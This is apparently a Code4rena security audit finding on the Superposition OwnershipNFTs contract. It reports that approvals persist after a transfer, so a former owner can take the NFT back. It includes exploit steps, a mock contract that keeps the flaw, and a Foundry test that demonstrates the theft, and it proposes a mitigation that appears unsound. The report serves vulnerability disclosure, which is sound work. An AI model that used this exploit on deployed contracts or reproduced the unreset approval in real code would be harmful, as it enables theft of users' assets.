`OwnershipNFTs` Users Can Maintain NFT Ownership After a Transfer and Transfer the NFT Back to Themselves

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-08-superposition/blob/4528c9d2dbe1550d2660dac903a8246076044905/pkg/sol/OwnershipNFTs.sol#L103

Vulnerability details

Impact

OwnershipNFTs can transfer an NFT back to themselves due to improper validation. In other words a NFT owner can transfer their NFT to seawater another address etc. However, the original owner will still be able to transfer the NFT back to themselves because the approval mapping is recorded like this mapping(uint256 => address) public getApproved and not updated during a transfer.

Proof of Concept

Here is the line of vulnerable code

Steps to exploit:

1. The original owner Bob will call OwnershipNFTs::approve and approve himself and the tokenId for the token that he owns.

2. Then Bob (original owner) will transfer the NFT to any address etc.

NOTE: Since the token approval is recorded with the following mapping mapping(uint256 => address) public getApproved and since this is not updated in the transfer function Bob is still is still approved to spend the NFT.

3. Since the NFT approval is mapped to the tokenId Bob can successfully transfer the NFT back to himself by calling the OwnershipNFTs::transferFrom function.

PoC

NOTE: PoC contains some modifications to prevent deploying all the Superposition contracts for the test. No code was removed and just commented out and added code was marked with @audit.

To run this test place the following two files into pkg/test/MockOwnershipNFTs.sol and pkg/test/TestOwnershipNFTs.t.sol respectively and run the test with forge test --mt test_userRetainsNFTOwnershipEvenAfterTransfer -vvvv

MockOwnershipNFTs contract:

// SPDX-Identifier: MIT
pragma solidity 0.8.16;

import "../sol/IERC721Metadata.sol";
import "../sol/ISeawaterAMM.sol";

import "../sol/IERC721TokenReceiver.sol";

/*
 * OwnershipNFTs is a simple interface for tracking ownership of
 * positions in the Seawater Stylus contract.
 */
contract OwnershipNFTs is IERC721Metadata {
    ISeawaterAMM public immutable SEAWATER;

    //@audit added to track ownership and mint tokens instead of using SeaWater contract for demo purposes
    mapping(uint256 => address) tokenIdToOwner;
    uint256 tokenIdCounter = 1;

    function mint(address _to) external {
        tokenIdToOwner[tokenIdCounter] = _to;
        tokenIdCounter++;
    }
    //------------------------------------------------------------------

    /**
     * @notice TOKEN_URI to set as the default token URI for every NFT
     * @dev immutable in practice (not set anywhere)
     */
    string public TOKEN_URI;

    /// @notice name of the NFT, set by the constructor
    string public name;

    /// @notice symbol of the NFT, set during the constructor
    string public symbol;

    /**
     * @notice getApproved that can spend the id of the tokens given
     * @dev required in the NFT spec and we simplify the use here by
     *      naming the storage slot as such
     */
    mapping(uint256 => address) public getApproved;

    /// @notice isApprovedForAll[owner][spender] == true if `spender` can spend any of `owner`'s NFTs
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    constructor(string memory _name, string memory _symbol, string memory _tokenURI, ISeawaterAMM _seawater) {
        name = _name;
        symbol = _symbol;
        TOKEN_URI = _tokenURI;
        SEAWATER = _seawater;
    }

    /**
     * @notice ownerOf a NFT given by looking it up with the tracked Seawater contract
     * @param _tokenId to look up
     */
    function ownerOf(uint256 _tokenId) public view returns (address) {
        /*  (bool ok, bytes memory rc) =
            address(SEAWATER).staticcall(abi.encodeWithSelector(SEAWATER.positionOwnerD7878480.selector, _tokenId));
        require(ok, "position owner revert");
        (address owner) = abi.decode(rc, (address)); */
        //@audit added
        address owner = tokenIdToOwner[_tokenId];
        return owner;
    }

    /**
     * @notice _onTransferReceived by calling the callback `onERC721Received`
     *         in the recipient if they have codesize > 0. if the callback
     *         doesn't return the selector, revert!
     * @param _sender that did the transfer
     * @param _from owner of the NFT that the sender is transferring
     * @param _to recipient of the NFT that we're calling the function on
     * @param _tokenId that we're transferring from our internal storage
     */
    function _onTransferReceived(address _sender, address _from, address _to, uint256 _tokenId) internal {
        // only call the callback if the receiver is a contract
        if (_to.code.length == 0) return;

        bytes4 data = IERC721TokenReceiver(_to).onERC721Received(
            _sender,
            _from,
            _tokenId,
            // this is empty byte data that can be optionally passed to
            // the contract we're confirming is able to receive NFTs
            ""
        );

        require(data != IERC721TokenReceiver.onERC721Received.selector, "bad nft transfer received data");
    }

    function _requireAuthorised(address _from, uint256 _tokenId) internal view {
        // revert if the sender is not authorised or the owner
        bool isAllowed =
            msg.sender == _from || isApprovedForAll[_from][msg.sender] || msg.sender == getApproved[_tokenId]; // @audit HIGH_FINDING this will allow a user to maintain ownership even after transferring the NFT msg.sender == getApproved[_tokenId]

        require(isAllowed, "not allowed");
        require(ownerOf(_tokenId) == _from, "_from is not the owner!");
    }

    function _transfer(address _from, address _to, uint256 _tokenId) internal {
        _requireAuthorised(_from, _tokenId);
        //SEAWATER.transferPositionEEC7A3CD(_tokenId, _from, _to);
        //@audit added
        tokenIdToOwner[_tokenId] = _to;
    }

    function transferFrom(address _from, address _to, uint256 _tokenId, bytes calldata /* _data */ ) external payable {
        // checks that the user is authorised
        _transfer(_from, _to, _tokenId);
    }

    /// @inheritdoc IERC721Metadata
    function transferFrom(address _from, address _to, uint256 _tokenId) external payable {
        // checks that the user is authorised
        _transfer(_from, _to, _tokenId);
    }

    /// @inheritdoc IERC721Metadata
    function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable {
        _transfer(_from, _to, _tokenId);
        _onTransferReceived(msg.sender, _from, _to, _tokenId);
    }

    /// @inheritdoc IERC721Metadata
    function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata /* _data */ )
        external
        payable
    {
        _transfer(_from, _to, _tokenId);
        _onTransferReceived(msg.sender, _from, _to, _tokenId);
    }

    /// @inheritdoc IERC721Metadata
    function approve(address _approved, uint256 _tokenId) external payable {
        _requireAuthorised(msg.sender, _tokenId);
        getApproved[_tokenId] = _approved;
    }

    /// @inheritdoc IERC721Metadata
    function setApprovalForAll(address _operator, bool _approved) external {
        isApprovedForAll[msg.sender][_operator] = _approved;
    }

    /// @inheritdoc IERC721Metadata
    function balanceOf(address _spender) external view returns (uint256) {
        (bool ok, bytes memory rc) =
            address(SEAWATER).staticcall(abi.encodeWithSelector(SEAWATER.positionBalance4F32C7DB.selector, _spender));
        require(ok, "position balance revert");
        (uint256 balance) = abi.decode(rc, (uint256));
        return balance;
    }

    /// @inheritdoc IERC721Metadata
    function tokenURI(uint256 /* _tokenId */ ) external view returns (string memory) {
        return TOKEN_URI;
    }
}

Test:

//SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

import {Test} from "forge-std/Test.sol";
import {OwnershipNFTs} from "./MockOwnershipNFTs.sol";

import {ISeawaterAMM} from "../sol/ISeawaterAMM.sol";
import {SeawaterAMM} from "../sol/SeawaterAMM.sol";

contract TestOwnershipNfts is Test {
    OwnershipNFTs ownerNft;

    function setUp() public {
        string memory name = "test";
        string memory symbol = "TT";
        string memory tokenURI = "testUri";
        ISeawaterAMM seawaterAmm = ISeawaterAMM(makeAddr("seawaterAmm"));

        ownerNft = new OwnershipNFTs(name, symbol, tokenURI, seawaterAmm);
    }

    function test_userRetainsNFTOwnershipEvenAfterTransfer() public {
        address bob = makeAddr("bob");
        address alice = makeAddr("alice");
        uint256 tokenId = 1;
        ownerNft.mint(bob);
        // make sure bob is the current owner
        assertEq(ownerNft.ownerOf(tokenId), bob);

        //bob will now approve himself for the NFT he owns
        vm.prank(bob);
        ownerNft.approve(bob, tokenId);

        // now we will transfer the nft to alice, in reality this could be anyone seawater contract etc....
        vm.prank(bob);
        ownerNft.transferFrom(bob, alice, tokenId);

        //verify alice is the new owner
        assertEq(ownerNft.ownerOf(tokenId), alice);

        //even though alice is the new owner bob will still be the TRUE owner!!!!
        vm.prank(bob);
        ownerNft.transferFrom(alice, bob, tokenId);

        //verify that bob took back his NFT
        assertEq(ownerNft.ownerOf(tokenId), bob);
        // bob has stolen the NFT back from alice!!
    }
}

Tools Used

Foundry and manual review

Recommended Mitigation Steps

Consider changing the mapping here to this mapping(uint256 => mapping(address => address) public getApproved so that the approval will be unique for each address.

Assessed type

Invalid Validation